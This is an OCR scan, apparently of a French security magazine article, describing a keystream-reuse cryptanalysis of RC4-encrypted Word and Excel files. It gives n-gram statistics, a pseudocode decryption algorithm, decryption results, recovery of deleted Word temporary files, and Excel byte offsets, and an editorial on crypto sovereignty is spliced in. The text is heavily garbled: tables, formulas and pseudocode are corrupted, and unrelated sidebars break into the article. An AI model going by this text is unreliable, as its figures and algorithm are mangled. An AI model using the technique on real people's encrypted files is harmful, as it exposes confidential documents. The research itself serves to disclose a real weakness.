=[2=13] 4643 D. 503 =[5-13] 4650 0.503 =[§=11] 4595 0.497 =[14-15] 4851 0.504
2[2-14] 4613 D. 499 F[E-141 4534 0.457 Z[5-12] 4593 0.457 =[14-20] 4577 0.485
=[2-15] 4618 0. E00 =[5-15]1 4633 0.502 =(9-131 4519 0_489 z[1E-16] 4521 O.489
=[2-16] 4651 0. 504 =[5-15] 4638 0.E02 z[9-14] 4565 0.494 Z[1E=17] 4613 0.499
z[2-17] 4555 0. 497 =[5-171 4598 0.498 z|F-15] 4660 0. 504 =[1E=18] 4615 0.500
z1Z-18] 9627 D.501 =z[5-18) 4500 0.487 =[9-16] 4555 0.458 z[16-19] 4542 D_492
=[2-19] 4708 0. 510 =[5-19] 4585 0.436 z(9-17] 4563 0.49¢ =[1E-20] 4728 0.512
=[2-20] 4576 2. 455 =[5-20] 4411 O.423 =[9-18] 4627 0.500 E[16-17] 4548 0.49Z
e[3-41 6087 D. 659 =[6=7] 4643 0.E03 z[3-19] 4632 0.501 =[16-18] 4668 D_505
wf3-5] 150 0 &6 =[6~8] 4560 0.454 z{9-20] 4E1Z 0.458 2[1l6=-19) 4645 0.502
=[3-5] 4623 0. 500 =z[6-5] 4620 0,500 =[10-11] 4524 0.437 z[16-20] 4635 D.50Z2
2{3-7] 4570 0.495 2[6=10] 4571 0.455 =I10-L2] 4458 0.487 =[17-18] 4626 0.501
={3-8] 4583 0. 456 Z[6-11] 4683 0,507 =[10-13] 4532 0.50L z{17-1%] 4579 0.496
=(3-5] 4561 0.454 z(€=12] €643 0.503 =[10-14] 4604 0.458 ={17-20] 4635 0.502
=1 3=10) 4526 0.500 z(6-13] 4661 0.505 [10=L5] 4595 0. 497 =[18-18] 4731 0.512
=(3-11] 4644 0. 503 z[6-14] 4851 0. 504 =[10-L6] 4635 0.502 ={18-20] 4663 0.505
=[3-12] 4510 0. 438 «{6-15] 4752 0.514 =[10=L7] 4596 0.4593 2{19-20] 4524 0.490
=[3-13] 4678 0. 506 Z[6-16] 4573 0.495 =[10-18] <580 0. 455

=[2-14] 4572 0.4%¢ =[6=-17] 4547 D. 492 a[10-19] 4679 0.455

Figure 6 : Résultals de Ia detection de textes paralléles

Nous relevons bien des pics conséquents de « 0 » pour
les fichiers 1 a 5 et nous pouvons vérifier la relation de
transitivité,

Une fois les documents paralléles identifiés, la derniére
et principale est de procéder au décryptement afin de

retrouver tout ou partie du texte en clair a partir des
chiffrés.

5 Decryptement des

messages

La technique de cryptanalyse que nous décrivons [5]
vise a retrouver les textes clairs sans passer par 1'étape
de récupération de la clé. Il est donc nécessaire de se
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ensemble de 100000 lettres extraites de romans du

20éme siecle)

Plus généralement, il est possible de caractériser
la langue non plus par la fréquence d’apparition de
caractéres uniques, mais par des chaines de longueur
fixe de n caractéres consécutifs appelées n-grammes.
Cela offre plus de richesse que les fréquences simples
de lettres.

A titre d’exemple, le tableau ci-dessous montre les
fréquences d'apparition des 3-grammes, en prenant en
compte le méme échantillon de textes que précédemment.

_S.grammes

0,54
051
11,51
As
! ."L--‘IT"

Tableau 2 : Freguences des 3-grammes en fran
én pourcentage (résultats obtenus a partir d'un
ensemble de 100000 lettres extraites de romans du
20eme siecle)




Lensemble de ces n-grammes avec leurs fréquences
d’apparition forme un « corpus » [5]. Nous définissons
alors une variable aléatoire discréte X « valeur du
n-gramme ». Nous appelons P, la probabilité que la variable
X prenne la valeur x, : P(X =x) =p,,aveci {0, ..N}.
N est la taille du corpus. La distribution de probabilité
(ou loi de probabilité) de la variable aléatoire discrete X
est alors entierement déterminée par les probabilités p,
des événements {X = x }, les x, parcourant 1'ensemble
du corpus.

Un tel corpus, pour répondre a nos besoins, doit
répondre a plusieurs impératifs :

- I1 doit étre suffisamment représentatif de la langue
cible.

- Il doit étre de taille « raisonnable » pour permettre
un traitement rapide.

Nous ne décrirons pas, faute de place et par souci de
limiter les aspects purement statistiques, les techniques
de validation du corpus permettant de s’assurer de sa
bonne modélisation de la langue cible (voir [2][8]).

Résumons les principales contraintes et caractéristiques :

- Représentativité du corpus : Pour constituerle corpus,
nous devons dans un premier lemps recueillir un
ensemble de textes parmi lequel nous allons extraire
les n-grammes. Il conviént alors d’apprécier la
valeur du corpus ainsi constitué. Les textes doivent
représenter un volume suffisamment conséquent pour
offrir des probabilités cohérentes. Mais I'expérience
etles analyses statistiques montrent que sil’on veut
avoir un échantillon représentatif (corpus) de la
population (la langue), la meilleure approche consiste
a disposer de plusieurs corpus pour une meéme
langue, pour modéliser finement plusieurs niveaux
de langage (généraliste, technique, diplomatique,
contextes particuliers, ...). C'est ensuite la réalité
opérationnelle (l'’environnement cible) qui dicte le
choix du ou des corpus a utiliser.

Choix des caracteres a prendre en compte : Un autre
critére déterminant pour la constitution de corpus
efficaces sera la nature des caracteres a prendre en
compte. Lobjectif étant de réduire les caractéres
rencontrés pour ne conserver que ceux choisis par
nos soins, sans pour autant perdre de n-grammes
représentatifs de la langue. Pour avoir une portée
opérationnelle, nous avons choisi un espace de
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96 caractéres (langue francgaise). Le tableau 3
présente I'ensemble des caractéres pris en compte
pour la constitution de nos corpus.

- Taille du corpus : Il s’agit de déterminer la valeur n
optimale pour les n-grammes, Il s’agit de minimiserla
taille du corpus pour pouvoir le stocker en mémoire
tout en conservant sa validité en tant que modéle.
Le choix optimal est de prendre n = 4. La gestion du
corpus en meémoire se fera néanmoins via des tables
de hachage (pour 96 caractéres pris en compte,
nous avons : 96" n-grammes différents possibles).
Les différents résultats montrent que, autant le
passage de trigrammes a tétragrammes ameéliore
sensiblement la qualité du décryplemenl, autant le
passage de tétragrammes a pentagrammes n'apporte
pas de mieux notable [8].

Soit C,, ..., C,...C,, p textes chiffrés a décrypter un

de N n-grammes différents. Soient x, ..., X, ... , X ces
n-grammes. Nous décomposons les textes chiffrés en
une succession de n-grammes (selon le mode choisi ;
voir la section consacrée aux optimisations).

- Pour chaque n-gramme Cg, du premier texte chiffré
C,, nous faisons une hypothese sur la valeur du
n-gramme Mg, du texte en clair correspondant. Mg,
est pris parmi les éléments du corpus considéré :
Ma st Xk, R

- Nous calculons le n-gramme chiffrant k correspondant :
k = Mg, @ Cg,.

- A partir du n-gramme chiffrant trouvé, nous calculons
pour chacun des (p-1) textes chiffrés restants les
n-grammes des textes en clair correspondants :
Mg, = k& Cg,.

L

- Nous réitérons cette opération pour chaque élément
du corpus.

Nous avons constitué, pour chaque n-gramme des
textes, N p-uplets (Mg, ..., Mg,, ..., Mg, ) qui sont autant
de n-grammes possibles pour les textes en clair (M, ..., M,,
...M)). Il nous faut déterminer parmices N p-uplets lequel
est le plus probable pour les textes en clair recherchés.
Nous associons aux N p-uplets de n-grammes trouveés,
les N p-uplets des probabilités correspondantes (P(Mg, ),
..., P(Mg), ..., P(Mg,)).

TN S SN0 TS | Y TN SR CU L R g . ! o | Le p-uplet de n-grammes le plus
gt e E i | it L =1 probable sera alors celui qui permet de
T T B oV e B e Al B ¥ 7 maximiser le p-uplet de probabilités. La
0 1 2 3 4 5 6 7 8 9 : : problématique suivante va étre alors
: ? ! « ( ) { } S = ! de choisir un estimateur Z permettant
T . S [ T A R - L T L e de caractériser correctement cette
Tableau 3 : Caracteres pris en compte pour la constitution des maximisation du p-uplet de probabilités.

corpus

Le choix de 1'estimateur va dépendre de
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= HUMEUR : LA SECURITE
CRYPTOGRAPHIQUE EN
QUESTION

Ee cas du chiffrement de 1a suite Office abordé dans
ce numero ithistre une fois deé plus tout le décalage
existant enlre une sécurité sur le papier et celle
existant en pratigue. Le fameux syndrome marketing
« AES-256 inside » a et aura encore une helle vie devant
fuii I est d'ailleurs surprenamt de constaler que 'la
« libéralisation » de la ¢rypto ait finalement abouti a
une hégémonie americaine avec PAES (un algorithme
pour tous les lier ?7) ; le genéral de Gaulle; chantre
d'une independance nationale en cryptologie comme
dans bien d'aulres domaines; doil se retourner dans
sa fombe.

Certes, le hacker-ausens noble dua terme ~est toujours
la pour rapidement détecter une éventuelle faille
voire une irapdoor. Les cas sont nombreux et tains
historiques (citons le célebre cas de Paffaire Hans
Buehler et la compagnie Crypto:AG): 1l ne pourra pas
toujours e reveler 5%l utilise des moyens « illégaux »
comme le reverse engineering.

Mais les choses peuvent etre bien plus compliguées
quil n'y parait, La publication d’algorithmes comme
le DES ot GOST (en pleine guerre froide) puis de VAES
{dans un contexte naissant de terrorisme international),
Ie développement forcené de la cryptographie a clé
publigue ~ dont la sécurité, rappelons-le;, n’a jamais été
prouvée et repose sur la supposition non demontrée qu’il

erait des problemes calculatoirement impossibles
a résoudre —devrait nous inciter a nous poser certaines
questions :

= Cesalgorithmes sont-ils vialment stirs ? Peut-onimaginer
un pays comme les USA favoriser des algorithmes
g ils ne maitriseraient pas ?

= OQuid des frapdoors mathematiques ?

- Conserve-t-on une capacile a trés vite revenir en arriére
el garantir notre souveraineté au cas ou ?

Imaginons deux scenarii qui jusque-la n’ont pas été
démontres impossibles

= EAES tombe de maniére operationnelle.

= Un chercheur trouve un moyen facile (polynomiabh
de factoriser.

Nos soucis d’avions cloués au seol par la faute d’un
peiit volcan islandais nous sembleront bien relatifs.
La vision gaullienne nous avait proléges dans 'affaire
Buehler, il serail malheureux gue la France, par des
choix cryptologiques hasardeux, ne soil-la prochaine
fois parmi les viclimes. Le casde la Suede esta ce Litre
exemplaire ¢t montre gu’il exisie un modéle alternatif
a la vision américaine : leurs choix technologigues ont
ete faits de sorte que si Internet tombe et/ou que toute
la crypteto rlan‘aura d'impact urlasécurite
ni sur le fonclionnement de leur reseaux et de leurs
infrastructu
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la nature des textes (beaucoup de noms propres, termes
techniques ou pas...) et c’est la ol toute l'expertise du
cryptanalyste opérationnel s’exprime. La régle de base
est que :

Z = f((P(Mg,), ..., P(Mg)), ..., P(Mg,))

ou la fonction f est une fonction positive strictement
croissante.

Nous obtenons donc l'algorithme de cryptanalyse
général suivant :

Soient p textes chiffrés paraligles en notre possession: Cq, ..., Ci,.., Mp
Soient les p textes clairs correspondants & découwrir - My, ..., Mi,..., Mg constitués
de n-grammes respectifs Mgy, .., Mg),..., Mo,

Soit un corpus de N n-grammes © {xg, % %y} de probabilités respectives
{Plra), .. P}, . Pixu)}

Soit Z un estimateur :
T R =R
¢ P x,J HZ(x,.., x,)

Pour chague n-gramme Co. de C, faire
Z=0
Pour my €{%, ... % %} faire hypothése | Mg, = my
Calculer: k=my@ Cgy
Pouri e {2, ... .p}
Calculer-mi=k @ Cu
Calcuter P(my)
Fin pour
SiZ[P(ma). PIM), .. Pimg)]>Z
Z= Z[P{m).. .Fim, .. P{myi]
Pouri e {1, ...
Mg =my
Fir pour
Fin si
Fin pour
Fir pour

Tablel : Algorithme géndral de cryptanalyse

5.3 Optimisations et

parametres optimaux

Lalgorithme général d'attaque présente dans le
paragraphe est un canevas générique qui appelle, selon
les cas, plusieurs parametres et optimisations. Leurs choix
et combinaison seront dictés par plusieurs critéres, en
premier lieu la profondeur de parallélisme et la nature
de la langue (groupe linguistique et niveau de langue)
et de son codage’.

Nous allons, faute de place, présenter succinctement
les principaux parametres et optimisations qui peuvent
grandement ameliorer 1’algorithme général précédent

[21[4108].

- Choix de la fonction de cumul des fréquences : il est
impératif de choisir une fonction positive strictement
croissante. Parmi les nombreuses fonctions possibles,
deux ont été retenues : 1= "

& =N 1
I

i

et avec f;les fréquences des n-grammes trouvés
et gun nombre réel. Le choix va dépendre de la
nalure du texte [3]. Pour traiter des textes trés riches



en noms propres ou termes techniques rares, nous
privilégierons la seconde mesure. La valeur optimale
de a se situe aux alentours de a = 0.3.

Mode de traitement des n-grammes : deux modes
existent : avec ou sans recouvrement.

Le premier consiste simplement a décomposer les
textes en une suite de n-grammes accolés les uns
aux autres et a les traiter indépendamment :

nire [ mode d'extraction des n-grammes

Figure 7 : Mode sans recouvrement

Treés simple a mettre en ceuvre, cette solution
n'est pas la meilleure : si nous trouvons un n-gramme
erroné (mauvais estimateur, caractére absent du
corpus, ...), il sera quand méme pris en compte sans
aucune autre vérification possible.

Le deuxiéme mode consiste a opérer un décalage
d'un unique caracteére entre deux n-grammes.

‘e moce d'extraction glissant des n-grammes

Figure 8 : Mode par recouvrement

Les n-grammes de clairs trouvés se chevauchent,
ce qui permet de vérifier la conformité des résultats
trouvés : les (n-1) caractéres communs trouvés entre
deux n-grammes consécutifs ne doivent pas étre
différents, sinon le décryptement est mauvais (mais,
s’ils sont identiques, cela n’assure pas pour autant
que le décryptement soit exact !).

La mise en ceuvre de la seconde méthode est bien
str plus technique. Elle-méme appelle un grand
nombre d’optimisations possibles
qui sont détaillées dans [8].
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- Gestion des caractéres impossibles : Selon 1'espace
des caractéres choisi, il est possible non seulement
d’'accélérer la mise au clair des textes chiffrés,
mais également d’affiner grandement la qualité
du décryptement. Ainsi, dans un texte classique,
des que des caractéres non imprimables (ou hors
de I'espace de travail) sont obtenus, le candidat de
clair est donc faux.

5.4 |Résultats experimentaux

Nous présenterons des résultats & partir de trois
catégories de fichiers tests :

- Testl : 1l s'agit de documents extraits d'un roman
de J. Verne. Nous avons construit un total
de cing textes paralléles d’environ 1200
caractéres chacun, a partir de cing extraits
du document original.

- Test2 : 1l s’agit d'un discours du chef d’état-major de
I’armée de terre a la commission des finances
de I’Assemblée nationale en 2008 (niveau
de langue soutenu avec termes techniques).
Nous avons la aussi construit cing textes
paralléles & partir de cing extraits différents
del’original. Chaque extrait contient environ
1500 caracteres.

- Test3 : Il s’agit d’un discours du President de la
République. Cette fois-ci, nous avons fabriquée
cinqg textes paralleles en modifiant cing fois
la date (jour, format, ...) en début de texte.
Les textes paralleles comportent environ
9700 caracteéres.

Nous avons ensuite utilisé un algorithme modérément
optimisé (fonction multiplicative, a = 0.3, mode avec
recouvrement, gestion de I'espace des caractéres) avec
décodage dur et sans traitement sémantique. Le tableau
4 montre les résultats de décryptement obtenus,

4 . Nombre de Nombre de caractéres comrectement Pourcentage de bon décryptement
Techniques de décodage : ces textes paralléles décryptes
techniques [2] sont issues de la Testl | Tes2? | Tests | Tesml | Tem2 | Tesi3
g‘eom dfs‘c_"dis C"r;zl‘l:teuri Dpaalliles | 462 633 3845 | 4007% | 40.66% | 39.80%
erreurs et utilisent essen ermery
3 : 3 paralléles 1018 1283 8679 88.29 % §2.40 % 89.78 %
I"approche par maximum de : e = =
EOR e e e e dpanlléles | 1069 1414 8880 | 92,71% | 9081% | 91,87%
& chaque pas (mode recouvrant ou 5 paralléles 1081 1428 9001 9376% | 9171% | 93.12%

non) le meilleur candidat (décodage
dur), il est plus efficace de conserver
les k meilleurs (décodage souple).
Cela permet de revenir en arriere
pour corriger une éventuelle mauvaise décision lors
d’une étape précédente. D'un point de vue technique,
on utilise la notion de treillis de décodage avec
recherche du meilleur chemin dans ce treillis (inspiré
du décodage de Viterbi des codes convolutifs).

Tableau 4 : Résultats de décryptement obtenus

Sil'on considére un décodage souple avec traitement
seémantique, le pourcentage de décryptement est proche
de 100% a partir de trois textes et au-dela de 75% pour
seulement deux textes. Dans ce dernier cas, un opérateur
humain, optimalement un linguiste, sera capable de
retrouver les caractéres manquants.
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Attaque opérationnelle
6 pour Microsoft Word et
trappes

6.1 Augmentation de la
‘i profondeur de parallélisme

Dans ce qui précede, la principale contrainte de cette
méthode de cryptanalyse réside dans le fait qu'il faut
disposer d’une profondeur de parallélisme suffisante
(au moins deux textes?). Nous allons montrer que, dans
un cadre opérationnel, il est tout a fait possible de se
servir de fichiers temporaires créés par Word (ou Excel).

Lorsque nous créons un document Word, le logiciel
crée des fichiers temporaires dans le dossier du document
d’origine a chaque enregistrement du document original.
Ces fichiers temporaires contiennent les versions antérieures
du document original, c’est-a-dire avant enregistrement
des modifications. Cependant, ces fichiers temporaires
sont automatiquement effacés a la fermeture de Word,
pour un peu que le logiciel se termine normalement.
Toutefois, il est possible de les retrouver avec un logiciel
de récupération de fichiers effacés. C'est ce que nous
allons voir sur I'exemple suivant, a I’aide du logiciel libre
PC inspector file recovery.

Nous avons créé un document Word, chiffré avec RC4,
nommeé « confidentiel chiffré » au sein d'un dossier intitulé
«rapport_confidentiel ». Nous avons alors travaillé sur ce
document en effectuant trois modifications successives.
Nous pouvons voir sur la figure 7 les fichiers temporaires
créés a coté du document original :
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] corfidentl_cniffre pt:‘] wgnfidertiel_chifre
oyt S RLINDE e ~WRLAET
w1 L)
e AR 2301
i
Figure 7 : Fichiers temporaires Word

Les fichiers « WRL0O04 », « WRL2361 » et « WRLA027 »,
qui font la méme taille que le document original, sont
ceux qui contiennent les informations intéressantes.

Apres la fermeture de Word, les fichiers temporaires
sont effacés, mais en lancant le logiciel de récupération,
nous les retrouvons, comme nous pouvons le voir sur
la figure 8.

11 suffit alors de procéder au décryptement a partir
de quatre fichiers paralleles (le document original et les
trois fichiers temporaires).
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Cordenu de Effacdiclrappoet_torfidential

Wem [T | Dsedemodtc | MFey| Condton [Tips
B Sriidernel citte doe 962 SOI20EIT05 &R good DocumetMico
B RO g SN IGGRIENDE XT ged  Febe IMP
TR W6 ISOE0NIL0E 4TI pood Ficher TMP
B wRLET g S0P TSRS MR geod  Fatew TMP

Figure 8 : Résultat du logiciel de récuperation

Notons que ces fichiers pourraient étre facilement
obtenus via un cheval de Troie ou par aspiration de
données via une clé USB « malicieuse ».

6.2 Trappe ou pas trappe ?

La question qui vient immédiatement a 1’esprit
concerne la présence d'une telle vulnérabilité et les
conditions qui la rendent opérationnellement exploitable.
Il est surprenant qu’'année apres année, version apres
version de la suite Office et du systéme d’exploitation
Windows, une telle situation permette encore de nos
jours de casser une protection censée étre forte. Sans
préjuger de la volonté ou non de Microsoft de « trapper »
ou non ses environnements®, le cas de la suite Office
est tres intéressant, car il permet de comprendre 1'une
des manieres de construire opérationnellement une
trappe (cas que nous avions déja remarqué s’agissant de
la sécurité des fichiers PDF [9]) : il suffit de créer deux
(ou plus) vulnérabilités, 1'une au niveau de 'application,
l'autre au niveau du systéme d’exploitation, dont la
complémentarité permet de ménager un trou de sécurite
exploitable opérationnellement. Chaque vulnérabilité doit
apparaitre comme non critique. C’est leur combinaison
qui, elle, doit I'étre !

Conclusion |

Cette technique de cryptanalyse montre encore une
fois, si besoin était, que la cryptographie marche sur le
papier, mais que c'est loin d'étre le cas dans la réalité.
Comme souvent en sécurité, c’est plus la faiblesse
(d’implémentation, de gestion ou d’utilisation) de la
victime que la force de 'attaquant qui rend les attaques
possibles. Dans le domaine de la cryptologie, on ne peut
jamais écarter le fait qu’une faiblesse soit intentionnelle.

Cette attaque illustre également un exemple de
cryptanalyse dans laquelle la connaissance de l'algorithme
et de la clé n’est absolument pas nécessaire. Nous
avons implémenté cette attagque contre un systéme
de Vernam (dit & secret parfait) mal utilisé avec un
succes total. Cela permet également de détecter toute
mauvaise implémentation (intentionnelle ou non) d'un
AES ou tout autre systéme par bloc [2] qui utiliserait -
a I'insu de 'utilisateur - un mode indésirable (OFB), et
ce, sans réaliser d’'étape de reverse engineering pour
le prouver! B
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= NOTES
! Ce quia fait dire a certains: « si ¢’est pour tout
réapprendre, autant passer sous OpenOffice ».

2 On appelle mesaages isologues toutes les versions
chiffrées d'un méme message avec plusieurs
suites chiffrantes s dxfl"erentes

35oit 1a velation « parallele’a’», notée R. Clest.

une relation d’équivalence, car quels que soient
Ci, Cj et Ck trois textes chiffres,

- R est reflexive : Ci R Ci

FOCUS SUR..

= LE CAS EXCEL

Ee cas Excel est plus delicat o braiterque celui de Word

de par la nature el la structure des fichiers. Nous ne ==

donnerons ici gue les principaux aspects: techmques
Les details sont disponibles dans [2]{8]

Microsoft Excel ne positionne pas les donnees uhles (celles
de 'utilisateur) a une po‘ntwn fixe . en enregistrant i
fichier sous deux noms, meme sansfairé de modification
entre les deux, 'offsetde debut de danneoq serachfferent.:_ i

Ea seconde particularité d'Excel réside dans son traitement -
des modifications de données, En effat, lorsquion utlhsdmul
modifie une cellule d’une feuille de calewul, alors son
nouvean contenii-est repositionnéen hn de-données;

Ces deux particularités ont des c.onsét';uen'ce_s ‘sur 1a
détection et la cryptanalyse. En effet; il faudiatoat d’abord

efre en mesure de retrouver les-données: utiles: dans I

ensemble de bits chiffiés; celles-¢cl; rappelons le, otant:
positionnées o des-offsets-différents selon les copies.

1 MISE EN EVIDENCE BE LA
VULNERABILITE

Heongjun Wu [H] premse que les données de ﬂ("hlers Exi.:el_ :
chiffrés débutent 31 octets apreslachaine hexadécimale -
Ox8c000400 et se terminent avant lachane Oxfﬂ}[llzﬂﬂ :
Cecin’est on realité pas tout a fait exack<si tes données
commencent bien aprés 0x8c000400; le margueusr de fin

va dependre du nombreide cellules gitl onteté renplies: =
nous avons successivement 0xff000a00; 0xf001200; -
OXE001a00, OXH002200, . Seit:une incrementation de-
8 du troisiéme octel du marquedra chaguefols's Da +:
08 =12 12+ 08 ="1a, ., Ceci nous permet de refrouver:
lP'i donnéss utiles dans des hchiers: ¢hiffres: :

Comme pour Word, nnous avons donc verifie lavulﬂé'rahllit'é: e

en chiffrani un fichier pu:s en effectuant une mﬂd}ﬁcatmn
enregisirée sous un dlll Te nom. : :

y - e -y HET B TSI e

§ 1 luke obi wan yoda 1 luke obi wan yoda
2 vyan solo leia chewbacca 2 yan solo rincesse |Picchm«rhacca 5

Figure 15 Feuille Excel anmd!P {a {}*aucb@) e
muodifiee {a drotel

Sur-les deux figures-suivantes (2:et 3),' ﬁic:_éut':'rant las =
versions-hexadécimales des deux fichiers chiffrés; nous=
avons encadre (couleur blene) les margueurs de début
et de fin ainsi qué les domiées chiffrées (couleur rouge):

Offast £ i B R N Y
GoCnosen 3 2D CB 41 51 1b Ab ER
BOCO0SCO €1 01 08 00 CF 19 A9 91
DOCOoann 5 0D D3 70 E7 27 29 @B

0OCO0%ED [0 05 Fa
00CO09FD 29 44 1C

DOCO0AND E : -
00CO0AI0 [0A 0D 20 FO 9D > FD J4 00 00 00

Fgure ioFeuile Excel originale-el o} iffree (b‘ej_{a-dégﬁﬁaﬂ
Suite page suivante




FOCUS SUR...

= LE CAS EXCEL (SUITE)

Flgire 3 Feuille Excel modifiee el chiffrée thexadecimal)

Nous vovons alers bien que les 32 premiers octets de données

sont commums aux deux fichiers. Cela correspond aux données

gui ctaient communes aux deux fchiers en clair. Comme pouf’

Waord, cela montire que les fichiers ont ete chiffrés avecla

meme sulte chiffrante.

2 DETECTION ET DECRYPTEMENT
DANS LE CAS EXCEL

La detection est aussi-aisée sous Excel gue sous Word:
Ealgorithme est-exactement le meme. La hgured montre la
présence des meémes pics de detection :

il est alors possible de procéder au

“technigue que pour Word. Cependant,
cela necessife de faire Tace a deux
contraintes majenres ;

~la-préseonce de separateur-enfre les
données ;

MMM MMM NN NN

- Ia constitution de corpus specifique.

L]

Figure 4 Detection- - Presence de _séparateuts i-Lorsque 'on

de fichiers paralidles — observe un fichier Excel avec un éditeur

Excal hexadécimal, nous pouvons constater que

: : les donnédes des cellules sont séparées

par un groupe de treis octots hexadécimaux indiguant la taille
des données de la cellule suivante : -

nogoos4o

00000950 i4 BF EE 6E

Figure 5 - Separatenrs Excel

Ces séparateurs sont de laforme: XX.0000, Cotto caréicl;éﬁstique
doit étre prise en compte dans la constitution du corpus, car
elle représente du « clair » trés probable:

Lecorpus, gquanta lm, doit tenir compte des données usut,llement
traitées dans un document-Exceli Cela se traduit-par:
--absence-de phrase ; ' :
--absence-de poncitnation ;

< peu-de-verbes;

- donnees essentmllemcnt cluffrees

Sile decryptement dans le cas Excel est un peu plus dehcat et
doit prendre en rompte un certain nombred’optimisations; il
reste identigue a celui mis en veuvre pour Word. Le résultat
est tout ausm opel ationnel:

s

Les messages paralleles etant délecteés;

decryptement des fichiers selon la méme
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- R est transitive si C R _

a,lorsC RC

2 a 2 puui‘

: des résultats “s: imus'f

Le cas d la'profonsd ;
'ne sera p&ﬁ tm}tei I

que cette loi
o constitutmnd_
cette loi.

& On acouse 'sduvent

generalement les e

'1es manx majs 8’

Un codage ASCII
que le méme texte e
- fera au cn 'raire appam




